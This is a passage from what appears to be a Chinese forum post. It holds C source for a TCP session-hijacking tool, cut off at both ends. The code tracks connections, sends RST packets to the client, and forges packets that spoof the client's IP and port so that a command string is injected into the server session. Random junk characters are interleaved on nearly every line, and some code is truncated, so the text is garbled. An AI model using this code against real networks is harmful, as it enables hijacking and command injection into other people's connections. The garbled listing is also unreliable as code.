- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); . H+ G4 L4 S' R9 K; t9 r4 q
//reset action flag
" H+ i$ a9 y( R3 ]- e& e8 D: v2 g G ResetActionAllFlag(); 5 k# D: L$ p+ s7 ~
} 3 f1 a5 m* y% t0 }
//start hijack . C# F& d) ]' I8 t; I% _
else if(g_dwAction == ACTION_HIJACK) / C# j, O2 Y, k$ m% ] ^$ M
{
8 x0 a2 ~ o+ a6 Z& m //send rst packet to client & m$ P/ _6 n* r0 z8 h: M) d
SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); 7 \1 H C+ S) x* t
//send hijack packet to client
- s! N c# _' j% s+ l8 z5 K SendHiJackPacket(pTCPPacket); 9 q7 G+ Q6 s3 D; e. x
//reset action flag
9 E% K& }" [* ^8 s1 `, {" ? ResetActionAllFlag();
* L6 L3 P! t1 a }
& Z( ~/ T. \+ ~7 [1 {" e } / a+ _% A. }" l6 O3 L* Y0 B) B* S( e
//show the tcp data
- w0 _. Y3 P9 X+ Z/ _+ s4 r% n if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) % b5 g8 n9 ?# u- r, q3 v
{ 0 a2 g- x+ I. b* \" b5 \
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); ! j g: Z. s, p) e" {6 l
//暂不考虑IP、TCP头不是20字节的情况
7 h" H' R1 e. s0 l. M* K //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; 2 j5 t9 ^ o+ E; _. E
pStr = (char *)pTCPPacket + 54; 2 U+ m$ b7 M$ o0 s8 e
for(i=0; i } , a7 @3 @5 L7 v7 f9 L+ s
}
, o! C0 t% Q c2 x //debug output
; m* V2 e' f- S, `( {6 j( U2 o //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); ) p3 [, Z* e2 N. M8 j: Q
}//end of analyse packets while
/ o2 r* W" K- d* h, e. O }//end of recv packets while 1 S% l" p: N9 E3 E3 e
PacketFreePacket(lpRecvPacket); 0 N8 \% j" b; [, A- y
return 0; % M/ J0 ?% r+ [1 f, L
} : n1 ^6 {: ]* J, R8 k
) Z: O+ k4 X, d+ ^; W: I
2 b0 |: x7 W% q' N k- m//
2 u; v( s$ e2 N2 h- K$ m( X//功能:操作记录所有连接信息的单向链表 6 e; t, s" S' }1 j+ R" X3 b6 I5 t1 B
// % K6 @" G$ H! J" I3 p g" e
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
0 O% t' T' C- M7 B USHORT uClientPort, BOOL bDelete, BOOL bAddNew) ) H- z6 D1 Q8 `2 }* q7 _% j0 s
{
9 G6 h4 W2 [) `+ z PCONNINFO pNew, pTmp;
( R. u% D' y. @. u
% s: `1 {) X7 C3 D$ `' M pTmp = g_pConnHead;
) X/ y. m8 ^9 C+ M( \7 X- O. y$ R/ | while(pTmp)
" s3 K V* S' ^: O { - | q' v6 ]9 W9 A: O
if(pTmp->bActive) $ r1 f; y1 z4 }& c; i
{
6 a" x4 r8 H* ]) [% k+ ?2 m& }2 q# y1 ` //found it
+ K) s9 W" o" i: j if( (pTmp->dwServerIP == dwServerIP) &&
" A) n6 q% l0 f7 r" `- k) h (pTmp->uServerPort == uServerPort) && 9 \+ @: {, I0 i+ X" _4 A
(pTmp->dwClientIP == dwClientIP) &&
4 ]3 k! U6 i+ D4 G (pTmp->uClientPort == uClientPort) )
% X% K6 i9 j6 k; ~+ } { ; m0 Y) n7 _( w( T. }
if(bDelete)
% R/ z( _/ F; O* Z$ |: K {
7 m% X$ [! P* ^& ?0 f pTmp->bActive = FALSE; ( z4 @0 S2 |5 ]! E* g; m$ I) A
return 0;
U3 ], }; P7 r. I0 G } " d' f1 Q I, |# L: F' o- A
else return pTmp->ident;
# w4 y0 C4 W* W8 X, v+ E' B6 f } ' J+ p/ M3 r7 g0 G: X4 K
}
. d1 w' r/ H: a, ^6 K+ G pTmp = pTmp->Next;
! A8 v M9 m h }
# p$ L# P( H5 n% M //not found, create new node
% I& z' |0 X2 v! y if( (!pTmp) && (!bDelete) && (bAddNew) )
- o" ?2 n) p2 [* D {
, j: Z( c% M& ~% Q //search unactive note
8 x1 }5 V( S# s3 [3 l4 U/ A pTmp = g_pConnHead;
" Z5 b6 ~4 T E while(pTmp) ; ]7 s* z! v3 E/ ^5 ~! ~6 ~
{ 0 X, g( X& Z8 E& Q9 y. Z
if(!pTmp->bActive) break; : F' P3 {+ c4 Y, j7 f( U
pTmp = pTmp->Next;
1 O# D2 O5 B" |5 f: r* \ j& o } 3 m2 ]( N: n# A( R. c+ T3 I
//found a unactive node
, |, v' f+ {; l3 P. z- q if(pTmp) ! x# [0 e" x/ D7 s4 k
{ : g9 R# M& G( z& a6 R1 S2 u, k
pTmp->dwServerIP = dwServerIP;
- z' z' [* k& ]6 z; x& ] pTmp->uServerPort = uServerPort;
# n% n, Z! r% v" [. P pTmp->dwClientIP = dwClientIP; - I3 ?" a' k2 K/ k u
pTmp->uClientPort = uClientPort;
: X1 I4 x. R! V pTmp->bActive = TRUE;
" z1 L5 T0 _! X- s8 h$ ]5 M$ ]( H return pTmp->ident; 9 t* j- c# k+ H7 ^9 k( `
} & f# B8 k/ ~, Y3 g2 I5 x$ P# U
//not found,create new node # r5 z; ?. d) s3 D. {* g' M4 X) k
pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 2 J! D6 @; x9 H( w2 h& S( Y+ H
if(!pNew) / ~$ q# Z* D+ I4 R* T& _" |
{
' D: W, H/ P j7 ~' ^/ U printf("malloc for link node error:%d\n", GetLastError()); 1 i7 N5 h: i9 ^* [
return 0;
- u W1 j) w4 f9 g- U- f }
. L. B7 _: C8 f2 g //fill the struct
: } @1 W; G2 t( P0 Q! v2 g pNew->bActive = TRUE; 1 X0 _; p- i; h/ W- r
pNew->dwServerIP = dwServerIP; # F3 v: t% K! V Y8 Q N
pNew->uServerPort = uServerPort; 5 q. ~# Y6 |7 _! |
pNew->dwClientIP = dwClientIP; 0 V) m9 [" S5 U9 x0 l' A% l
pNew->uClientPort = uClientPort; " L/ c! A2 d% A) H4 F, X6 L3 _
pNew->ident = ++g_ident; : T4 H4 P; s3 G; l
pNew->Next = NULL;
$ E, s2 p. F% m5 \6 H( p8 g //add new node to link % q3 L/ w8 z7 }
if(!g_pConnHead) o1 Z+ k, V3 N4 ?6 m
g_pConnHead = g_pConnLast = pNew; & Q/ ?1 m7 K6 ~
else
& d3 ]8 M( ~" b7 D3 | {
6 {8 n$ v8 o$ n c$ Q% w g_pConnLast->Next = pNew;
. y+ M! K* \) Y! A" p g_pConnLast = pNew; ' a4 [/ L2 k/ J, g8 ~) f
} ' G* P' K7 Y) A, d
return pNew->ident; V% T! M+ J9 \. v$ f7 }
} 5 j/ D' g# i, F% X" c
return 0; - Y: Q0 D# W% ~$ G0 u& n2 t
}
' C( d0 z$ R9 }/ w: l. P j* ?9 X! D' Q9 O0 V* h( Y/ m
//
3 [2 _, n5 }, p//功能:判断一个数据包是不是只有ACK标志
( w! c% u2 }8 _' C# c// 9 _. |: I0 e2 I/ Y* E
BOOL IsACKPacket(unsigned char flag) " C C( f8 H& X2 ]! @9 x
{
8 {' w9 N+ a o int i, j=1;
6 G* f/ H. P2 Z1 G( x5 L% t& w for(i=0 ; i<4; i++)
7 H% B# E4 p, q: G+ F" C { 5 L S- \% f {. \: t7 u
if(flag & j) return FALSE; / j5 `! ?9 d8 T9 z+ I9 t: g
j <<= 1; 6 s" K% j0 W7 A _! g$ g- C
}
: c7 W8 v, d; G if(!(flag & 0x10)) return FALSE;//is ack?
r2 f& o6 r- I7 M+ J. @! m if(flag & 0x20) return FALSE;
; |2 T; {: C: M( }% C9 V u0 M return TRUE;
3 ~3 ^, V4 f: s" z7 I}
, N0 u4 R& }; w% t7 R. M( S c( u- K) I' a0 f3 v
// 5 X5 H6 ]( b1 [
//功能:伪装成Client给Server发送数据包 , O; I* J4 X9 H- L. J* E
// 0 s! l; C" N9 n2 V; z- S: {
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
; n) l1 w1 `9 O5 y- M{
2 D" y# ]# S C& k& D2 C ^3 H
4 k! n1 o/ x+ t0 C( q; x8 I7 a char szBuff[1520];
& q/ |# w6 Z3 R: t1 u PSDHDR psdhdr; " L$ ~/ V6 ^( M' K. D
PTCPPACKET pHiJackPacket = NULL; ( H( \) \! q0 W
BOOL bRet = FALSE;
8 p: x/ M) F4 N5 L3 e) V$ n- o# m! N4 L$ i% L" t: v4 I( V
__try
+ Z# S. _5 e$ P6 q0 r7 S {
& c& ~2 [. ?2 _ //
% v* N9 z1 [: A if(!g_pCurrCtrlConn) __leave; # T( b& u; h3 \/ J
//allocate memory for hijack packet
- n% u& j5 P% t! i7 ] pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
1 x$ m/ n$ z; k9 P if(!pHiJackPacket) 0 u! F [9 @. l. n
{ ( c M0 W6 g! t$ A6 y' y# O) ~
printf("malloc error:%d\n", GetLastError()); % b& M0 Y @. c# L0 ]. E8 d
__leave; ' e: c( g% X! D Y7 K
} $ G: D, `( Q) s& f6 p
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
E, s& K4 E- \, b1 W //-------------- modify the packet ---------------//
% M* w6 }+ f. h' r! ?& q! M //modify ethernet head
; S( W( r9 \" \, _. B3 t memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); 7 M5 h3 T) ^. B
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); / u# ^* [4 f1 H, P5 C9 u5 K# X
//modify ip head
1 R) Y" ^0 W0 n5 d, ~! Y pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); 1 I4 F9 p5 h9 ~: d9 K
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); " Y0 q) T0 j4 B$ h. V6 o
pHiJackPacket->iphdr.ident += 1;//标识加1
# M, K! Q2 T$ ^2 A pHiJackPacket->iphdr.checksum = 0;
; u6 B+ S$ O5 k; |- w pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client 7 G7 N, D7 o( z1 h/ T
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址 - ~- k1 _" X' G' L5 D9 i
//modify tcp head 6 U0 z& z& j8 U+ G4 o
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port + K! Q w" f6 b/ S$ s0 f
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port ' u/ X: f; C1 R) @; D
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
/ V$ s! o; Y: g( A6 Z, v pHiJackPacket->tcphdr.th_flag = 0x18;// PA
( ^/ {! H$ G# I* Z( t pHiJackPacket->tcphdr.th_sum = 0; # ]/ d( [ J2 m( V' z# \$ ~- \" ?
pHiJackPacket->tcphdr.th_win = 0x3F44; 1 m, x H0 {" m& G: l1 R
//fill tcp psd head - `( i1 l/ p) s, u2 T
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
3 P! i5 M# G0 u: r psdhdr.daddr = pHiJackPacket->iphdr.destIP;
, _' | t$ L7 f psdhdr.mbz = 0; 6 b: q$ t5 l7 l7 _2 `& p
psdhdr.ptcl = IPPROTO_TCP; / {! p; D! G/ L' D6 m1 C9 J
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len , P. G6 B5 C& m
//calculate tcp checksum / O& q1 U" N; g3 |) }6 S1 h
memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); , |3 |* @" u! e1 r# d5 `
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
# z# D W: S2 c3 C8 C8 x- E memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
9 z) R5 T2 t* J pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); P: }- L8 F9 N; V/ Y
//calculate IP checksum
( J9 |& F4 \! D pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
7 s6 }$ H' A* H( y' Z //fill send buffer
8 i/ @, ?6 T! ] memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
& U# B' O8 c6 B7 A- z+ @, \, j memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
8 x8 p9 w! l: @ memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); " S+ |$ N* d' Q. y
memset(g_lpSendPacket->Buffer, 0, 1514);
4 o5 Z7 o3 q: r6 w/ k% {! S memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 9 z% C. A. G- R8 y% E4 g' P
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
' C: S5 [7 E( {8 x& |, l4 Y" L {
5 _$ W" V& \( x( d! q1 {3 | printf("Error sending the hijack packets!\n"); & ] L: K5 k* [0 ?+ ^
__leave; 3 ?: e5 `0 K& L' D
} 1 x: \" t& X+ F- j2 D; b' l
else printf("Send hijack packet ok!\n");
$ I" F. w& e. h; m bRet = TRUE;
% [' t) o+ s+ |! Z$ \ Z( z1 a } |
|